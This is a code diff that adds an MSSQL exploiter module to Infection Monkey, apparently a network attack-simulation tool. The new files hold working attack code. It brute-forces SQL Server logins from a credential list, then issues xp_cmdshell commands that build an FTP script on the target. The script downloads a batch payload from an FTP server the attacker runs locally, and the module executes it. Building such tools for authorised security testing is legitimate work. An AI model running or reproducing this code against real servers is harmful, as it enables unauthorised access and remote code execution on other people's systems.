diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 96d6da9a9..8a18ab7d7 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter + SambaCryExploiter, ElasticGroovyExploiter, MSSQLExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -147,7 +147,7 @@ class Configuration(object): scanner_class = TcpScanner finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] - exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits + exploiter_classes = [SmbExploiter, WmiExploiter, MSSQLExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux ElasticGroovyExploiter, # multi ] diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index d8cf4b0ca..ef04e7f82 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -36,7 +36,8 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter" + "SambaCryExploiter", + "MSSQLExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index a05f5b079..338e098c2 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -41,3 +41,4 @@ from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter +from mssqlexec import MSSQLExploiter diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py new file mode 100644 index 000000000..41762d9ce --- /dev/null +++ b/infection_monkey/exploit/mssqlexec.py @@ -0,0 +1,106 @@ +from os import path +import logging +import pymssql + +import mssqlexec_utils +from exploit import HostExploiter + +__author__ = 'Maor Rayzin' + +LOG = logging.getLogger(__name__) + + +class MSSQLExploiter(HostExploiter): + + _TARGET_OS_TYPE = ['windows'] + LOGIN_TIMEOUT = 15 + SQL_DEFAULT_TCP_PORT = '1433' + DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat') + + def __init__(self, host): + super(MSSQLExploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.attacks_list = [mssqlexec_utils.CmdShellAttack] + + def exploit_host(self): + """ + Main function of the mssql brute force + Return: + True or False depends on process success + """ + username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, + self.DEFAULT_PAYLOAD_PATH): + LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) + return True + else: + LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + return False + + def handle_payload(self, cursor, payload): + + """ + Handles the process of payload sending and execution, prepares the attack and details. + + Args: + cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands. + payload (string): Payload path + + Return: + True or False depends on process success + """ + + chosen_attack = self.attacks_list[0](payload, cursor) + + if chosen_attack.send_payload(): + LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) + if chosen_attack.execute_payload(): + LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) + return True + else: + LOG.error("Payload: {0} couldn't be executed".format(payload)) + else: + LOG.error("Payload: {0} couldn't be sent to host".format(payload)) + + return False + + def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): + """ + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. + + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + payload (str): Local path to the payload + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ + # Main loop + # Iterates on users list + for user, password in users_passwords_pairs_list: + try: + # Core steps + # Trying to connect + conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) + LOG.info('Successfully connected to host: {0}, ' + 'using user: {1}, password: {2}'.format(host, user, password)) + cursor = conn.cursor() + + # Handles the payload and return True or False + if self.handle_payload(cursor, payload): + LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host)) + return True + else: + LOG.warning("user: {0} and password: {1}, " + "was able to connect to host: {2} but couldn't handle payload: {3}" + .format(user, password, host, payload)) + except pymssql.OperationalError: + # Combo didn't work, hopping to the next one + pass + + LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' + 'aborting brute force'.format(host, port)) + return False diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py new file mode 100644 index 000000000..c5d189076 --- /dev/null +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -0,0 +1,200 @@ + +import os +import multiprocessing +import logging +import socket + +import pymssql + +from pyftpdlib.authorizers import DummyAuthorizer +from pyftpdlib.handlers import FTPHandler +from pyftpdlib.servers import FTPServer + + +FTP_SERVER_PORT = 1026 +FTP_SERVER_ADDRESS = '' +FTP_SERVER_USER = 'brute' +FTP_SERVER_PASSWORD = 'force' +FTP_WORKING_DIR = '.' + + +class FTP: + + """Configures and establish an FTP server with default details. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + + """ + + def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + """Look at class level docstring.""" + + self.user = user + self.password = password + self.working_dir = working_dir + + def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + + """ Configures and runs the ftp server to listen forever until stopped. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + """ + + # Defining an authorizer and configuring the ftp user + authorizer = DummyAuthorizer() + authorizer.add_user(user, password, working_dir, perm='elradfmw') + + # Normal ftp handler + handler = FTPHandler + handler.authorizer = authorizer + + address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT) + + # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword + self.server = FTPServer(address, handler) + + # Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I + # multiproccess is being used here. + self.server.serve_forever() + + def stop_server(self): + # Stops the FTP server and closing all connections. + self.server.close_all() + + +class AttackHost(object): + """ + This class acts as an interface for the attacking methods class + + Args: + payload_path (str): The local path of the payload file + """ + + def __init__(self, payload_path): + self.payload_path = payload_path + + def send_payload(self): + raise NotImplementedError("Send function not implemented") + + def execute_payload(self): + raise NotImplementedError("execute function not implemented") + + +class CmdShellAttack(AttackHost): + + """ + This class uses the xp_cmdshell command execution and will work only if its available on the remote host. + + Args: + payload_path (str): The local path of the payload file + cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. + + """ + + def __init__(self, payload_path, cursor): + super(CmdShellAttack, self).__init__(payload_path) + self.ftp_server, self.ftp_server_p = self.__init_ftp_server() + self.cursor = cursor + self.attacker_ip = self.__find_own_ip() + + def send_payload(self): + """ + Sets up an FTP server and using it to download the payload to the remote host + + Return: + True if payload sent False if not. + """ + + # Sets up the cmds to run + shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ + echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) + shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) + + shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ + .format(self.payload_path) + shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ + shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4] + + # Checking to see if ftp server is up + if self.ftp_server_p and self.ftp_server: + + try: + # Running the cmd on remote host + for cmd in shellcmds: + self.cursor.execute(cmd) + except Exception, e: + logging.error('Error sending the payload using xp_cmdshell to host: {0}'.format(e.message)) + self.ftp_server_p.terminate() + return False + return True + else: + logging.error("Couldn't establish an FTP server for the dropout") + return False + + def execute_payload(self): + + """ + Executes the payload after ftp drop + + Return: + True if payload was executed successfully, False if not. + """ + + # Getting the payload's file name + payload_file_name = os.path.split(self.payload_path)[1] + + # Preparing the cmd to run on remote, using no_output so i can capture exit code: 0 -> success, 1 -> error. + shellcmd = """DECLARE @i INT \ + EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ + SELECT @i """.format(payload_file_name) + + try: + # Executing payload on remote host + logging.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) + self.cursor.execute(shellcmd) + if self.cursor.fetchall()[0][0] == 0: + # Success + self.ftp_server_p.terminate() + logging.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) + return True + else: + logging.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) + self.ftp_server_p.terminate() + return False + + except pymssql.OperationalError: + logging.error('Executing payload: {0} failed'.format(payload_file_name)) + self.ftp_server_p.terminate() + return False + + def __init_ftp_server(self): + """ + Init an FTP server using FTP class on a different process + + Return: + ftp_s: FTP server object + p: the process obj of the FTP object + """ + + try: + ftp_s = FTP() + multiprocessing.log_to_stderr(logging.DEBUG) + p = multiprocessing.Process(target=ftp_s.run_server) + p.start() + logging.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) + return ftp_s, p + except Exception, e: + logging.error('Exception raised while trying to pull up the ftp server: {0}'.format(e.message)) + return None, None + + def __find_own_ip(self): + ip_list = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")] + return ip_list[0] diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 8683987c4..3be45eb02 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -14,3 +14,5 @@ six ecdsa netifaces ipaddress +pymssql +pyftpdlib diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 2887bf5a3..8726428bd 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -38,6 +38,13 @@ SCHEMA = { ], "title": "WMI Exploiter" }, +{ + "type": "string", + "enum": [ + "MSSQLExploiter" + ], + "title": "MSSQL Exploiter" + }, { "type": "string", "enum": [ @@ -615,6 +622,7 @@ SCHEMA = { "default": [ "SmbExploiter", "WmiExploiter", + "MSSQLExploiter", "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter",